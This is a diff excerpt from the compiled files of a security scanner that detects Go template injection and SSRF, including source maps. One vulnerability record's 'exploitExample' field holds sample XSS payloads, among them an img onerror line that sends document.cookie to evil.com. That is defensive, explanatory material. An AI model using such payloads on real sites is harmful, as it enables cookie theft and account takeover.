371
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
372
|
+
category: 'go-template-injection',
|
|
373
|
+
severity: 'high',
|
|
374
|
+
confidence: 'high',
|
|
375
|
+
message: 'Template Injection: Unsafe template.HTML() construction with user input',
|
|
376
|
+
line: lineNumber,
|
|
377
|
+
suggestion: 'Let html/template auto-escape user input; avoid template.HTML() with untrusted data',
|
|
378
|
+
owasp: 'A03:2025 - Injection',
|
|
379
|
+
cwe: 'CWE-79',
|
|
380
|
+
pciDss: 'PCI DSS 6.5.7',
|
|
381
|
+
remediation: {
|
|
382
|
+
explanation: 'template.HTML() bypasses auto-escaping in html/template, allowing XSS attacks. Never use template.HTML() with user input. Let the template engine auto-escape by default.',
|
|
383
|
+
before: `html := template.HTML("<div>" + userInput + "</div>")\nt.Execute(w, html)`,
|
|
384
|
+
after: `// Pass raw data and let template auto-escape\ndata := struct{ Input string }{Input: userInput}\nt.Execute(w, data)\n// In template: <div>{{.Input}}</div>`
|
|
385
|
+
},
|
|
386
|
+
attackVector: {
|
|
387
|
+
description: 'An attacker can inject malicious JavaScript by manipulating user input that is wrapped in template.HTML(), bypassing auto-escaping.',
|
|
388
|
+
exploitExample: `userInput = "<script>alert(document.cookie)</script>" steals session cookies\nuserInput = "<img src=x onerror=fetch('evil.com?c='+document.cookie)>" exfiltrates data`,
|
|
389
|
+
realWorldImpact: [
|
|
390
|
+
'Cross-Site Scripting (XSS) attacks',
|
|
391
|
+
'Session hijacking and cookie theft',
|
|
392
|
+
'Account takeover',
|
|
393
|
+
'Malware distribution'
|
|
394
|
+
]
|
|
395
|
+
}
|
|
396
|
+
}));
|
|
397
|
+
}
|
|
398
|
+
});
|
|
399
|
+
return vulnerabilities;
|
|
400
|
+
}
|
|
401
|
+
//# sourceMappingURL=injection-attacks.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"injection-attacks.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/security-checks/injection-attacks.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;AAmBH,sDA6bC;AA7cD,sEAA6E;AAE7E;;;;;;;;;;;;;GAaG;AACH,SAAgB,qBAAqB,CAAC,KAAe;IACnD,MAAM,eAAe,GAA4B,EAAE,CAAC;IACpD,IAAI,kBAAkB,GAAG,KAAK,CAAC;IAE/B,uEAAuE;IACvE,MAAM,kBAAkB,GAAG,IAAI,GAAG,EAAkB,CAAC;IACrD,MAAM,mBAAmB,GAAG,IAAI,GAAG,EAAkB,CAAC;IACtD,MAAM,oBAAoB,GAAG,IAAI,GAAG,EAAkB,CAAC;IAEvD,gFAAgF;IAChF,gDAAgD;IAChD,gFAAgF;IAChF,KAAK,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;4BACzB,mCAAmC;yBACpC;qBACF;iBACF,CAAC,CACH,CAAC;YACJ,CAAC;QACH,CAAC;QAED,gFAAgF;QAChF,mEAAmE;QACnE,gFAAgF;QAChF,kBAAkB;QAElB,MAAM,eAAe,GAAG,yCAAyC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QAEhF,IAAI,eAAe,IAAI,eAAe,EAAE,CAAC;YACvC,eAAe,CAAC,IAAI,CAClB,IAAA,mDAA6B,EAAC;gBAC5B,QAAQ,EAAE,uBAAuB;gBACjC,QAAQ,EAAE,MAAM;gBAChB,UAAU,EAAE,MAAM;gBAClB,OAAO,EAAE,yEAAyE;gBAClF,IAAI,EAAE,UAAU;gBAChB,UAAU,EAAE,qFAAqF;gBACjG,KAAK,EAAE,sBAAsB;gBAC7B,GAAG,EAAE,QAAQ;gBACb,MAAM,EAAE,eAAe;gBACvB,WAAW,EAAE;oBACX,WAAW,EACT,2KAA2K;oBAC7K,MAAM,EAAE,2EAA2E;oBACnF,KAAK,EAAE,4JAA4J;iBACpK;gBACD,YAAY,EAAE;oBACZ,WAAW,EACT,qIAAqI;oBACvI,cAAc,EAAE,uKAAuK;oBACvL,eAAe,EAAE;wBACf,oCAAoC;wBACpC,oCAAoC;wBACpC,kBAAkB;wBAClB,sBAAsB;qBACvB;iBACF;aACF,CAAC,CACH,CAAC;QACJ,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,eAAe,CAAC;AACzB,CAAC"}
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Go SSRF (Server-Side Request Forgery) Detection
|
|
3
|
+
* OWASP A10:2025 - Server-Side Request Forgery (SSRF)
|
|
4
|
+
*
|
|
5
|
+
* Detects SSRF vulnerabilities where user-controlled input is used in
|
|
6
|
+
* HTTP requests, file operations, or other server-side requests.
|
|
7
|
+
*/
|
|
8
|
+
import { SecurityVulnerability } from '../../types';
|
|
9
|
+
/**
|
|
10
|
+
* Checks for SSRF vulnerabilities
|
|
11
|
+
*
|
|
12
|
+
* Covers:
|
|
13
|
+
* - Check #1: User-controlled URLs in HTTP requests (HIGH)
|
|
14
|
+
*
|
|
15
|
+
* @param lines - Array of code lines
|
|
16
|
+
* @returns Array of security vulnerabilities found
|
|
17
|
+
*/
|
|
18
|
+
export declare function checkSSRF(lines: string[]): SecurityVulnerability[];
|
|
19
|
+
//# sourceMappingURL=ssrf-detection.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"ssrf-detection.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/security-checks/ssrf-detection.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAGpD;;;;;;;;GAQG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,MAAM,EAAE,GAAG,qBAAqB,EAAE,CAmRlE"}
|